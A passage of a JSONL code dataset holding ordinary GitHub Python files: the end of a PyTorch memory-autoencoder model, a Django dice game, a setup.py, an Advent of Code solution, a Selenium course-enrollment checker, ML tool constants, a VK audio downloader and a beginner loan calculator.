self.activation_lang(self.lang_head(hidden))\n            # update hidden states\n            hidden = (hidden, lang_c_t)\n            # store newly generated token\n            lang_out.append(lang_scores.unsqueeze(1))\n            # draw new token: greedy decoding\n            prediction_txt_t = lang_scores.argmax(dim=1)\n\n        return torch.cat(lang_out, 1)\n\n    def _decode_motor_command(\n        self,\n        hidden,\n        batch_size: int,\n        max_len: int,\n        method: str = \"embed\"\n    ):\n        \"\"\"\n        Parameters:\n        ----------\n\n            method: str\n                The method to use for token \n        \"\"\"\n\n        motor_out = []\n        # Initialize the predictions with [SOS]\n        prediction_cmd_t = torch.ones(batch_size, 1).to(\n            self.device).long() * self.cfg.DATASET.SOS\n\n        for t in range(max_len):\n            if method == \"one-hot\":\n                command = one_hot(\n                    prediction_cmd_t.long(),\n                    num_classes=cfg.DATASET.NUM_COMMANDS\n                ).squeeze(1).float()\n            else:\n                command = self.embedding(prediction_cmd_t).squeeze(1)\n\n            # hidden state at time step t for each RNN\n            hidden, cmd_c_t = self.motor_decoder(command, hidden)\n            # project hidden state to vocab\n            cmd_scores = self.activation_motor(self.motor_cmd_head(hidden))\n            # update hidden states\n            hidden = (hidden, cmd_c_t)\n            # store newly generated token\n            motor_out.append(cmd_scores.unsqueeze(1))\n            # draw new token: greedy decoding\n            prediction_cmd_t = cmd_scores.argmax(dim=1)\n\n        return torch.cat(motor_out, 1)\n\n    def _reconstruct_image(self, hidden):\n        \"\"\"\n        \"\"\"\n        conv_in = self.img_projection(hidden)\n        # print(conv_in.shape)\n        B, _ = conv_in.shape\n\n        return self.img_decoder(conv_in.view(B, 2048, 7, 7))\n\n    def _generate_goal_image(self, hidden):\n        \"\"\"\n        \"\"\"\n        return self._reconstruct_image(hidden)  # to be fixed\n\n    def pred_to_str(\n        self,\n        predictions: torch.Tensor\n    ) -> list:\n        \"\"\"\n            Decode predictions (from ids to token)\n\n            Parameters:\n            ----------\n                - predictions: Tensor\n                    batch predictions from decoder module\n        \"\"\"\n        return self.tokenizer.batch_decode(predictions.argmax(dim=-1))\n\n\nclass JEPSAM(nn.Module):\n    \"\"\"\n    This class is an Autoencoder based deep learning implementation of a Joint Episdoic, Procedural, and Semantic Asociative Memory.\n\n    Parameters\n    ----------\n\n    \"\"\"\n\n    def __init__(self, cfg: Dict):\n        super().__init__()\n        self.cfg = cfg\n\n        # encoder\n        self.encoder = JEPSAMEncoder(cfg=self.cfg)\n        # decoder\n        self.decoder = JEPSAMDecoder(cfg=self.cfg)\n        # weight tying\n        self.decoder.embedding.weight = self.encoder.embedding.weight\n\n        self.device = self.cfg.TRAIN.GPU_DEVICE if torch.cuda.is_available() else \"cpu\"\n\n    def forward(\n        self,\n        inp,\n        mode: str = \"train\"\n    ):\n        \"\"\"\n        \"\"\"\n\n        # encode\n        o, lo, h, c = self.encoder(inp, mode=mode)\n\n        # decode\n        reconstructed_image, goal_image, decoded_action_desc, decoded_cmd = self.decoder(\n            enc_output=o,\n            len_enc_output=lo,\n            hidden=h,\n            carousel=c, \n            mode=mode\n        )\n\n        return reconstructed_image, goal_image, decoded_action_desc, decoded_cmd\n\n\nif __name__ == \"__main__\":\n\n    cfg = load_config()\n\n    tdf = pd.read_csv(\n        osp.join(cfg.DATASET.PATH, \"updated_train.csv\")\n    )\n\n    tdf.head()\n    train_dl, _ = get_dataloaders(\n        train_df=tdf,\n        cfg=cfg\n    )\n\n    for data in train_dl:\n        pass\n        break\n\n    # Encoder\n    # encoder = JEPSAMEncoder(\n    #     cnn_backbone_name=\"resnet50\",\n    #     cfg=cfg\n    # )\n\n    # o, lo, h, c = encoder(data)\n\n    # print(\"enc out: \", o.shape)\n\n    # # model summary\n    # summary(\n    #     model=encoder,\n    #     input_dict=data,\n    #     col_names=[\"kernel_size\", \"num_params\"],\n\n    # )\n\n    # Decoder\n    # decoder = JEPSAMDecoder(cfg=cfg).to(cfg.TRAIN.GPU_DEVICE)\n    # per_image_rec, goal_image, lang_out, motor_out = decoder(\n    #     enc_output=o,\n    #     len_enc_output=lo,\n    #     hidden=h,\n    #     carousel=c\n    # )\n    # print(per_image_rec.shape, goal_image.shape, lang_out.shape, motor_out.shape)\n\n    # JEPSAM\n    jepsam = JEPSAM(cfg)\n    print(jepsam)\n    per_image_rec, goal_image, lang_out, motor_out = jepsam(data)\n    print(\"output shapes: \", per_image_rec.shape,\n          goal_image.shape, lang_out.shape, motor_out.shape)\n","repo_name":"MusinguziDenis/JEPSAM","sub_path":"AEJEPS/src/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":15771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"2790589957","text":"from django.db import models\nfrom django.contrib.auth.models import User\nfrom django.db.models import Q\nfrom django.core.urlresolvers import reverse\nfrom django.db.models.aggregates import Max\nimport random\n\nGAME_STATUS_CHOICES = (\n    ('A', 'Active'),\n    ('F', 'First player won'),\n    ('S', 'Second player won'),\n)\n\nDICE_CHOICES = (\n    ('1', '1'),\n    ('2', '2'),\n    ('3', '3'),\n    ('A', 'A'),\n    ('H', 'H'),\n)\n\nclass GamesManager(models.Manager):\n    def games_for_user(self, user):\n        first_games = super(GamesManager, self).get_query_set().filter(Q(first_player_id=user.id))\n        second_games = super(GamesManager, self).get_query_set().filter(Q(second_player_id=user.id))\n        return first_games, second_games\n\n    def new_game(self, invitation):\n        game = Game(first_player=invitation.to_user,\n                    second_player=invitation.from_user,\n                    next_to_move=invitation.to_user)\n        return game\n\nclass Game(models.Model):\n    first_player = models.ForeignKey(User, related_name='game_first_player')\n    second_player = models.ForeignKey(User, related_name='game_second_player')\n    next_to_move = models.ForeignKey(User, related_name='game_to_move')\n    start_time = models.DateTimeField(auto_now_add=True)\n    last_active = models.DateTimeField(auto_now=True)\n    status = models.CharField(max_length=1, default='A', choices=GAME_STATUS_CHOICES)\n    first_player_health = models.IntegerField(default=10)\n    second_player_health = models.IntegerField(default=10)\n    first_player_points = models.IntegerField(default=0)\n    second_player_points = models.IntegerField(default=0)\n\n    objects = GamesManager()\n\n    def first_player_health_percent(self):\n        return (self.first_player_health / 10.0) * 100\n\n    def second_player_health_percent(self):\n        return (self.second_player_health / 10.0) * 100\n\n    def first_player_points_percent(self):\n        return (self.first_player_points / 20.0) * 100\n\n    def second_player_points_percent(self):\n        return (self.second_player_points / 20.0) * 100\n\n    def create_move(self):\n        return Move(game=self)\n\n    def my_move(self, user):\n        if self.next_to_move == user:\n            return True\n        else:\n            return False\n\n    def get_last_move(self):\n        try:\n            return self.move_set.order_by('-turn','-roll')[:1].get()\n        except:\n            return None\n\n\n    def do_move(self, data):\n        last_move = self.get_last_move()\n\n        new_move = self.create_move()\n        new_move.player = self.next_to_move\n        if last_move:\n            new_move.roll = last_move.roll + 1\n            if new_move.roll <= 3:\n                new_move.turn = last_move.turn\n            else:\n                # next players first move\n                new_move.turn = last_move.turn + 1\n                new_move.roll = 1\n        else:\n            # first move\n            new_move.roll = 1\n            new_move.turn = 1\n\n        if new_move.roll <= 3:\n\n            if 'hold1' in data:\n                new_move.dice_1 = last_move.dice_1\n            else:\n                new_move.dice_1 = random.choice(DICE_CHOICES)[0]\n\n            if 'hold2' in data:\n                new_move.dice_2 = last_move.dice_2\n            else:\n                new_move.dice_2 = random.choice(DICE_CHOICES)[0]\n\n            if 'hold3' in data:\n                new_move.dice_3 = last_move.dice_3\n            else:\n                new_move.dice_3 = random.choice(DICE_CHOICES)[0]\n\n            if 'hold4' in data:\n                new_move.dice_4 = last_move.dice_4\n            else:\n                new_move.dice_4 = random.choice(DICE_CHOICES)[0]\n\n            if 'hold5' in data:\n                new_move.dice_5 = last_move.dice_5\n            else:\n                new_move.dice_5 = random.choice(DICE_CHOICES)[0]\n\n            if 'hold6' in data:\n                new_move.dice_6 = last_move.dice_6\n            else:\n                new_move.dice_6 = random.choice(DICE_CHOICES)[0]\n\n            new_move.save()\n            if new_move.roll == 3:\n                self.toggle_next_player()\n                self.status = self.get_status()\n\n        return new_move\n\n    def toggle_next_player(self):\n        if self.next_to_move == self.first_player:\n            self.next_to_move = self.second_player\n        else:\n            self.next_to_move = self.first_player\n\n    def get_status(self):\n        # a whole move has been made, check the scores...\n        final_rolls = self.move_set.filter(roll=3).order_by('turn')\n        player1_points = 0\n        player1_health = 10\n        player2_points = 0\n        player2_health = 10\n\n        for roll in final_rolls:\n            hearts = self.count_dice(roll, 'H')\n            attacks = self.count_dice(roll, 'A')\n            point_1 = self.count_dice(roll, '1')\n            point_2 = self.count_dice(roll, '2')\n            point_3 = self.count_dice(roll, '3')\n\n            points = 0\n            points += self.count_points(point_1, '1')\n            points += self.count_points(point_2, '2')\n            points += self.count_points(point_3, '3')\n\n            #if roll.player == self.first_player:\n            # this will allow you to play against yourself\n            if roll.turn % 2 != 0:\n                # player 1's turn\n                player1_points += points\n                player1_health += hearts\n                player2_health -= attacks\n            else:\n                # player 2\n                player2_points += points\n                player2_health += hearts\n                player1_health -= attacks\n\n            # you can't get more than 10 health\n            if player1_health > 10:\n                player1_health = 10\n            if player2_health > 10:\n                player2_health = 10\n\n        # end game conditions\n        if player1_points >= 20 or player2_health <= 0:\n            status = \"F\"\n        elif player2_points >= 20 or player1_health <= 0:\n            status = \"S\"\n        else:\n            status = \"A\"\n        self.first_player_health = player1_health\n        self.second_player_health = player2_health\n        self.first_player_points = player1_points\n        self.second_player_points = player2_points\n        self.status = status\n        self.save()\n        return status\n\n    def count_points(self, dice_count, dice_face):\n        points = 0\n        # you need at least 3 to earn any points\n        if dice_count >= 3:\n            # earn the face value of the dice\n            points += int(dice_face)\n            # work out how many remain dice we have\n            remaining = dice_count - 3\n            # one more point for each match dice\n            points += (remaining * 1)\n        return points\n\n    def count_dice(self, roll, dice_type):\n        count = 0\n        if roll.dice_1 == dice_type:\n            count += 1\n        if roll.dice_2 == dice_type:\n            count += 1\n        if roll.dice_3 == dice_type:\n            count += 1\n        if roll.dice_4 == dice_type:\n            count += 1\n        if roll.dice_5 == dice_type:\n            count += 1\n        if roll.dice_6 == dice_type:\n            count += 1\n        return count\n\n    def as_game(self):\n        game_moves = []\n        last_move = self.get_last_move()\n\n        # make a first roll of game, or next players first roll\n        if not last_move or last_move.roll == 3: \n            last_move = self.do_move('')\n\n        try:\n            show_move = self.move_set.filter(roll=3).order_by('-turn')[:1].get()\n        except:\n            show_move = None\n\n        if show_move:\n            self.append_move(game_moves, show_move)\n\n        if last_move:\n            self.append_move(game_moves, last_move)\n\n        return game_moves, last_move.roll\n\n    def append_move(self, moves_list, move_to_append):\n        moves_list.append([move_to_append.dice_1, \n                           move_to_append.dice_2, \n                           move_to_append.dice_3, \n                           move_to_append.dice_4, \n                           move_to_append.dice_5, \n                           move_to_append.dice_6, \n                           move_to_append.player])\n\n    def get_absolute_url(self):\n        return reverse('game_detail', args=[self.id])\n\n    def __unicode__(self):\n        return \"%s vs %s\" % (self.first_player, self.second_player)\n\nclass Move(models.Model):\n    game = models.ForeignKey(Game)\n    player = models.ForeignKey(User, related_name='move_player')\n    turn = models.IntegerField()\n    roll = models.IntegerField()\n    dice_1 = models.CharField(max_length=1, choices=DICE_CHOICES)\n    dice_2 = models.CharField(max_length=1, choices=DICE_CHOICES)\n    dice_3 = models.CharField(max_length=1, choices=DICE_CHOICES)\n    dice_4 = models.CharField(max_length=1, choices=DICE_CHOICES)\n    dice_5 = models.CharField(max_length=1, choices=DICE_CHOICES)\n    dice_6 = models.CharField(max_length=1, choices=DICE_CHOICES)\n    comment = models.CharField(max_length=300)\n\n    class Meta:\n        ordering = ['-turn', '-roll']\n\n    def __unicode__(self):\n        return \"Game %s, Turn %s\" % (self.game, self.turn)\n\n\nclass Invitation(models.Model):\n    from_user = models.ForeignKey(User, related_name=\"invitations_sent\")\n    to_user = models.ForeignKey(User, related_name=\"invitations_received\",\n                                verbose_name=\"User to invite\",\n                                help_text=\"Please select the user you want to play a game with\")\n    message = models.CharField(\"Optional Message\", max_length=300, blank=True,\n                               help_text=\"Add a message to your invite\")\n    timestamp = models.DateTimeField(auto_now_add=True)\n","repo_name":"desbo/king_of_northampton","sub_path":"game/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":9646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"20104686283","text":"import os\nfrom setuptools import setup\nfrom setuptools import find_packages\n\n\nhere = os.path.abspath(os.path.dirname(__file__))\nwith open(os.path.join(here, 'README.rst')) as f:\n    long_description = f.read()\n\n# import version number\nversion = {}\nwith open(\"./freshroastsr700/version.py\") as fp:\n    exec(fp.read(), version)\n# later on we use: version['__version__']\n\nsetup(\n    name='freshroastsr700',\n    version=version['__version__'],\n    description='A Python module to control a FreshRoastSR700 coffee roaster.',\n    long_description=long_description,\n    url='https://github.com/Roastero/freshroastsr700',\n    author='Mark Spicer, Caleb Coffee',\n    author_email='mds4680@rit.edu',\n    maintainer='Mark Spicer',\n    maintainer_email='mds4680@rit.edu',\n    license='MIT',\n    packages=find_packages(),\n    install_requires=[\n        'pyserial>=3.0.1'\n    ]\n)\n","repo_name":"Roastero/freshroastsr700","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"16"}
+{"seq_id":"10293747685","text":"def build_stacks(lines: list[str]):\n    stacks = []\n    for i in range(9):\n        stacks.append([])\n\n    for line in lines:\n        for i, char in enumerate(line):\n            if char.isalpha():\n                stacks[i // 4].append(char)\n\n    for i, stack in enumerate(stacks):\n        stacks[i] = list(reversed(stack))\n\n    return stacks\n\n\ndef part_1(lines: list[str]):\n    inp = list(lines)\n    stacks = build_stacks(inp[:8])\n\n    for instruction in inp[10:]:\n        _, count, _, source, _, target = instruction.split()\n        count, source, target = int(count), int(source) - 1, int(target) - 1\n\n        for _ in range(count):\n            stacks[target].append(stacks[source].pop())\n\n    return \"\".join(x[-1] for x in stacks)\n\n\ndef part_2(lines: list[str]):\n    inp = list(lines)\n    stacks = build_stacks(inp[:8])\n\n    for instruction in inp[10:]:\n        _, count, _, source, _, target = instruction.split()\n        count, source, target = int(count), int(source) - 1, int(target) - 1\n\n        to_move = []\n        for _ in range(count):\n            to_move.append(stacks[source].pop())\n\n        stacks[target].extend(reversed(to_move))\n\n    return \"\".join(x[-1] for x in stacks)\n","repo_name":"NiekKeijzer/AoC2022","sub_path":"aoc/day_05.py","file_name":"day_05.py","file_ext":"py","file_size_in_byte":1189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"71156793608","text":"import requests\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.relative_locator import locate_with\nimport warnings\nwarnings.simplefilter(action='ignore', category=FutureWarning)\nimport pandas as pd\nimport json\n\ndef get_value(course_name, course_num):\n    \n    Chrome_options = webdriver.ChromeOptions()\n    Chrome_options.add_argument('--headless')\n    browser = webdriver.Chrome(options=Chrome_options)\n\n    browser.get(\"https://classes.uwaterloo.ca/under.html\")\n\n    options = browser.find_element(By.NAME, value=\"subject\")\n\n    search_string = \"//option[@value='\" + course_name + \"']\"\n    option = options.find_element(By.XPATH, search_string)\n    option.click()\n\n    text_box = browser.find_element(By.NAME, value=\"cournum\")\n    text_box.send_keys(course_num)\n\n    submit_button = browser.find_element(By.XPATH, \"//input[@value='Search']\")\n    submit_button.click()\n    \n    browser.implicitly_wait(2)\n    value =  browser.find_element(locate_with(By.XPATH, \"//table\")).get_attribute('outerHTML')\n    df  = pd.read_html(value)\n    df = pd.DataFrame(df[-1])\n    tot = df.loc[0, 'Enrl Tot']\n    cap = df.loc[0, 'Enrl Cap']\n    \n    val = 0\n    if tot < cap:\n        val = 1\n    \n    browser.quit()\n    return val\n\nif __name__ == \"__main__\":\n    \n    # Parameters are defined\n    params_file = \"params.json\"\n    with open(params_file) as paramfile:\n        param = json.load(paramfile)\n    \n    url = param[\"DISCORD_WEBHOOK_URL\"]\n    course_name = param[\"course_name\"]\n    course_num = param[\"course_num\"]\n    \n    while(True):\n        out = get_value(course_name, course_num)\n        if out == 1:\n            payload = {'content': 'There is an empty space in the class of {} {}!'.format(course_name, course_num)}\n            response = requests.post(url, json=payload)\n            print(response)\n            break\n            ","repo_name":"vishnu-m77/empty-class-check","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"12041970612","text":"import os\n\n# The number of uploading dataset per user is limited to 5.\nMAX_UPLOADS_PER_USER = 5\n\n# the directory in which the package(application) is installed\nPACKAGEDIR = os.path.dirname(os.path.realpath(__file__))\n\n# the directory where the built-in data set to be processed stays\nBUILT_IN_DATASET_PATH = os.path.join(PACKAGEDIR, \"data\", \"dataset\")\n\n# current working directory in which the user activates the application\nWORKING_PATH = os.getcwd()\n\n# the root directory where all the output stays\nOUTPUT_PATH = os.path.join(WORKING_PATH, \"geopi_output\")\n\n# the directory where the artifact is saved within the MLflow run's artifact directory\nMLFLOW_ARTIFACT_DATA_PATH = \"data\"\nMLFLOW_ARTIFACT_IMAGE_STATISTIC_PATH = os.path.join(\"image\", \"statistic\")\nMLFLOW_ARTIFACT_IMAGE_MODEL_OUTPUT_PATH = os.path.join(\"image\", \"model_output\")\nMLFLOW_ARTIFACT_IMAGE_MAP_PATH = os.path.join(\"image\", \"map\")\n\n# Tell which section the user is currently in on the UML\nSECTION = [\"User\", \"Data\", \"Model\", \"Plot\"]\n\nOPTION = [\"Yes\", \"No\"]\nDATA_OPTION = [\"Own Data\", \"Testing Data (Built-in)\"]\nTEST_DATA_OPTION = [\"Data For Regression\", \"Data For Classification\", \"Data For Clustering\", \"Data For Dimensional Reduction\"]\nMODE_OPTION = [\"Regression\", \"Classification\", \"Clustering\", \"Dimensional Reduction\"]\n\n# The model provided to use\nREGRESSION_MODELS = [\n    \"Linear Regression\",\n    \"Polynomial Regression\",\n    \"K-Nearest Neighbors\",\n    \"Support Vector Machine\",\n    \"Decision Tree\",\n    \"Random Forest\",\n    \"Extra-Trees\",\n    \"Gradient Boosting\",\n    \"Xgboost\",\n    \"Multi-layer Perceptron\",\n    \"Lasso Regression\",\n    \"Elastic Net\",\n    \"SGD Regression\",\n]\nCLASSIFICATION_MODELS = [\n    \"Logistic Regression\",\n    \"Support Vector Machine\",\n    \"Decision Tree\",\n    \"Random Forest\",\n    \"Extra-Trees\",\n    \"Xgboost\",\n    \"Multi-layer Perceptron\",\n    \"Gradient Boosting\",\n    \"K-Nearest Neighbors\",\n]\nCLUSTERING_MODELS = [\"KMeans\", \"DBSCAN\"]\nDECOMPOSITION_MODELS = [\"PCA\", \"T-SNE\", \"MDS\"]\n\n# Special AutoML models\nNON_AUTOML_MODELS = [\"Linear Regression\", \"Polynomial Regression\"]\nRAY_FLAML = [\"Multi-layer Perceptron\"]\n\nIMPUTING_STRATEGY = [\"Mean Value\", \"Median Value\", \"Most Frequent Value\", \"Constant(Specified Value)\"]\n\nFEATURE_SCALING_STRATEGY = [\"Min-max Scaling\", \"Standardization\"]\n\nSAMPLE_BALANCE_STRATEGY = [\"Over Sampling\", \"Under Sampling\", \"Oversampling and Undersampling\"]\n\nCUSTOMIZE_LABEL_STRATEGY = [\"Automatic Coding\", \"Custom Numeric Labels\", \"Custom Non-numeric Labels\"]\n\nFEATURE_SELECTION_STRATEGY = [\"GenericUnivariateSelect\", \"SelectKBest\"]\n","repo_name":"ZJUEarthData/geochemistrypi","sub_path":"geochemistrypi/data_mining/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":2556,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"16"}
+{"seq_id":"74729435849","text":"import vk_api\nfrom vk_api.audio import VkAudio\nimport collections\nfrom itertools import islice\nimport os\nimport sys\nfrom os import system, path\nimport db as DB\nimport interface\nfrom functools import reduce\nimport re\nimport audio_downloader as ad\nimport requests\nfrom secret_input import *\nfrom WindowMode import *\nfrom create_album_dict import *\n\ndef list_split(main_list, chunk_size):\n    '''split list into list of equal chunks'''\n    splitted_list = list()\n\n    for i in range(0, len(main_list), chunk_size):\n        splitted_list.append(main_list[i:i+chunk_size])\n    return splitted_list\n\ndef get_session(login, password,break_function = lambda error_msg:exit(-1)):\n    '''send request to get main vk api object'''\n    #weird app id to prevent Auth error\n    vk_session = vk_api.VkApi(login=login,password=password,app_id=2685278)\n    try:\n        vk_session.auth()\n    except vk_api.AuthError as error_msg:\n        print(error_msg)\n        break_function(error_msg)\n        return None#if it doesn't break, than it will return None\n        \n    print(\"get session successfully!\")\n    return vk_session\n\n\n#----------------------------------------------\n#functions related to process of checking range of request\ndef ask():\n    '''function is used by check range'''\n    try:\n        choice = input(\"do you want to continue?(y/n):\")\n        if \"n\" == choice:\n            return -1\n        elif \"y\" == choice:\n            return 1\n        else:\n            ask()\n    except KeyboardInterrupt:\n        print(\"ok...\")\n#-------------------------------------------------\n\n#---------------------------------------------------\n#section of functions representing user's commands\n\ndef check_range(begin, end):\n    if begin < 0 or end < 0:\n        return False\n    if begin == end:\n        return False\n    if begin > end:\n        return False\n    return True\ndef scan(arguments,mdb,session):\n    '''scan - scan accounts music to receive tracks in specified range. example : scan  10,100 albums'''\n\n    #first argument is range and the second one is table name: artists or tracks\n    if interface.check_arguments(arguments, 2) == -1:\n        return None\n    \n    scaning_range = arguments[0]\n    target = arguments[1]\n    if interface.check_target(target) == -1:\n        return None\n    \n    begin, end = interface.get_number(scaning_range)\n    if not check_range(begin,end):\n        print(\"incorrect range {}:{}\".format(begin,end))\n        return None\n\n    if target == \"tracks\":\n        run_through_music(begin,end,session.get_iter(),mdb)\n    else:\n        run_through_albums(begin,end,session,mdb)\n    return 1\n\n\ndef size(arguments, mdb,session):\n    '''size - get size of loaded data, number of tracks or total size of all tracks of all albums'''\n    if interface.check_arguments(arguments,1) == -1:\n        return None\n\n    target = arguments[0]\n\n    if interface.check_target(target) == -1:\n        return None\n    \n    print(\"size of {} is {}.\".format(target,DB.get_size(mdb,target.upper())))\n\n    return 1#ok\n\ndef __print_tracks(elements,non_stop=False):\n    counter = 0\n    for l in list_split(elements,10):\n        for el in l:\n            if not el == None:\n                print(\"{} - {}\".format(el[0],el[1]))\n        if not non_stop:\n            print(\"slice #{}\".format(counter))\n            try:\n                q = input(\"-------------\")\n                if \"q\" == q:break\n                counter+= 1\n            except KeyboardInterrupt:\n                print(\"\")\n                return 1\ndef __print_albums(elements,non_stop=False):\n\n    #create table where key is name of album and its value is list of album's tracks\n    albums = cad(elements)#create albums dict\n\n    counter = 0\n    for key in albums:\n        print(\"album name:{}\".format(key))\n        print(\"*---------------*\")\n        for el in albums[key]:\n            print(\"{} - {}\".format(el[0],el[1]))\n        print(\"album #{}\".format(counter))\n        counter+=1\n        if not non_stop:\n            try:\n                q = input(\"------------\")\n                if \"q\" == q:break\n            except KeyboardInterrupt:\n                print(\"\")\n                return 1\n\n    #return data for graphical mode\n    if non_stop:\n        return albums\n            \ndef get(arguments, mdb, session,non_stop=False):\n    '''get - get list of tracks or albums with their contents.'''\n    if interface.check_arguments(arguments,1) == -1:\n        return None\n\n    target = arguments[0]\n    if interface.check_target(target) == -1:\n        return None\n    \n    elements = DB.get_elements(mdb,target.upper())\n    elements.reverse()\n    total_size = len(elements)\n\n    if target.lower() == \"tracks\":\n        __print_tracks(elements,non_stop)\n        return elements#for graphical mode\n    else:\n        result = __print_albums(elements,non_stop)\n        return result\n            \n    return 1#ok\n\ndef get_help(functions):\n    '''help - show this text'''\n    #print docsting of every function that can be invoked by user\n    for k, v in functions.items():\n        print(\"{}.\".format(str(v.__doc__)))\n\n    return 1#ok\ndef clear(arguments,mdb,session):\n    '''clear - clear the terminal screen.'''\n    os.system(\"clear\")\n    return 1#ok\n\ndef find(arguments, mdb, session,terminal=True):\n    '''find - find substring in saved tracks/albums, also specify case sensitivity. example - find \"wish yo\" artist|track 0\n        tracks/albums where 0 means non case sensible'''\n    def unite_substr(args):\n        #i think there is better solution\n        begin, end = -1,-1\n        for el in enumerate(args,start=0):\n            if el[1].count('\"') == 2:#there might argument made of 1 word\n                begin = end = el[0]\n                break\n            if '\"' in el[1] and begin ==-1:\n                begin = el[0]\n            if '\"' in el[1] and begin != -1:\n                end = el[0]\n        \n        #incorrect argument\n        if begin == -1 or end == -1: return None\n\n        #too boring to explaing set stuff\n        arg = set(range(begin,end+1))\n        all_ids = set(range(0,len(arguments)))\n        save = all_ids.difference(arg)\n\n        another_arguments = list()\n        for i in list(save):\n            another_arguments.append(args[i])\n            \n        substr = args[begin] if begin == end else str(reduce(lambda a,b:a+\" \"+b,args[begin:end+1]))\n        return substr, another_arguments\n\n\n    substr, arguments = unite_substr(arguments)\n    if interface.check_arguments(arguments,3) == -1:\n        return None\n\n    field,case,target = arguments\n    if interface.check_target(target) == -1:\n        return None\n\n    if field not in [\"track\",\"artist\"]:\n        print(\"the third argument must be track or artist!\")\n        return None\n\n    #tracks mean title\n    #we can search matching name of artist\n    #or name of track. There is no row called track, so use title instead\n    if field == \"track\": field = \"title\"\n\n    sub = substr[1:-1]\n    items = list(set(DB.get_elements(mdb,target,sub,case,field)))\n    for obj in enumerate(items):\n        print(\"{}: {} - {}\".format(obj[0],obj[1][1],obj[1][0]))\n\n    if terminal:\n        ad.download(items)\n    else:\n        return items\n    \n    return 1#\n    \n#------------------------------------------------------------    \n\ndef fetch_album(id,owner_id,session, album_name):\n    try:\n        tracks = session.get(owner_id=owner_id,album_id=id)\n    except vk_api.exceptions.AccessDenied:\n        print(\"it's unable to read '{}' album's data\\n\\n\".format(album_name))\n        return None\n\n    return tracks\n\ndef run_through_albums(begin,end,session,mdb):\n    '''this function runs through albums list'''\n\n    current_user_id = session.user_id\n\n    #get albums and check if everything is ok\n    albums = session.get_albums(current_user_id)\n    if begin > len(albums) or end > len(albums):\n        print(\"range is out albums' number!\")\n        return None\n\n\n    max_id = DB.get_max_id(mdb,\"ALBUMS\")\n    counter = 0 if max_id == None else max_id + 1\n    for album in albums[begin:end]:\n        print(album['title'])\n        print(\"*{}*\\n\".format(\"-\"*10))\n\n        #get tracks of albums\n        tracks = fetch_album(album[\"id\"],album[\"owner_id\"],session,album[\"title\"])\n        if not tracks is None:\n            for t in tracks:\n                data = [( counter, t['title'], t['artist'], t['url'], album['title'] )]\n                DB.add(mdb,data,\"ALBUMS\")\n                counter += 1\n                print(\"-\"*20)\n                print(\"title:{}\".format(t[\"title\"]))\n                print(\"url:{}\".format(t[\"url\"]))\n                print(\"-\"*20)\n    \ndef run_through_music(begin,end, mus_iter,mdb):\n    '''this function runs through track list'''\n    #get iterator for slice or for every item from response(good luck with it)\n    #also if begin is None, then end is the same\n    try:\n        it = mus_iter if begin == None else islice(mus_iter,begin,end,1)\n    except Exception as e: #out of range error may appear\n        print(str(e))\n        return\n    \n    max_id = DB.get_max_id(mdb,\"TRACKS\")\n    counter = 0 if max_id == None else max_id + 1\n    for track in it:\n        data = [(counter,str(track.get('title')),str(track.get('artist')),str(track.get('url')),\"none\")]\n        DB.add(mdb,data,\"TRACKS\")\n        counter += 1\n        \n        print(\"artist : {}\".format(data[0][2]))\n        print(\"title : {}\".format(data[0][1]))\n        print(\"link(url) : {}\".format(data[0][3]))\n        print('-'*10)\n\ndef run_terminal_version(functions_table):\n    system(\"cls\")\n    #try:\n    #    os.chdir(\"vk_audio_downloader\")\n    #except Exception as e:\n    #    print(\"error! run it as python vk_audio_downloader!\")\n    #    exit(-1)\n\n    login,password = interface.get_data()\n    session = get_session(login,password)\n    vkaudio = VkAudio(session)\n    mdb = DB.open_db()\n\n    interface.run(functions_table,mdb,vkaudio)\n\ndef run_graphical_mode(functions):\n    win = Window()\n    session = win.run_enter_menu(get_session)\n    if session is None:\n        exit(0)\n    vkaudio = VkAudio(session)\n    mdb = DB.open_db()\n\n    win.run_main_menu(functions,mdb,vkaudio)\n    \nif __name__ == \"__main__\":\n    functions = {\n        \"scan\":scan,\n        \"size\":size,\n        \"get\":get,\n        \"help\":get_help,\n        \"clear\":clear,\n        \"find\":find\n    }\n    \n    run_in_terminal = len(sys.argv) == 2 and sys.argv[1] == \"terminal\"\n    if run_in_terminal:\n        run_terminal_version(functions)\n    elif not run_in_terminal and len(sys.argv) != 1:\n        print(\"incorrect arguments!\")\n        exit(-1)\n    else:\n        del(functions[\"size\"])\n        del(functions[\"help\"])\n        del(functions[\"clear\"])\n        run_graphical_mode(functions)\n","repo_name":"MAGANER/vk_audio_downloader","sub_path":"__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":10645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"7983645625","text":"c =float(input('Digite o valor da casa'))\ns =float(input('Digite o valor do seu salario'))\na = int(input('Em quantos anos você deseja pagar?'))\np = (c / ( a * 12 ))\nm = s * 30 / 100\nprint(f'para pagar uma casa no valor de R$ {c} em {a} anos')\nprint(f'A prestação será de R$ {p:.2f} ')\nif p <= m:\n    print('Emprestimo aprovado')\nelse:\n    print('Emprestimo negado')","repo_name":"Igorpereirag/Pyprojects","sub_path":"36 – Aprovando Empréstimo.py","file_name":"36 – Aprovando Empréstimo.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
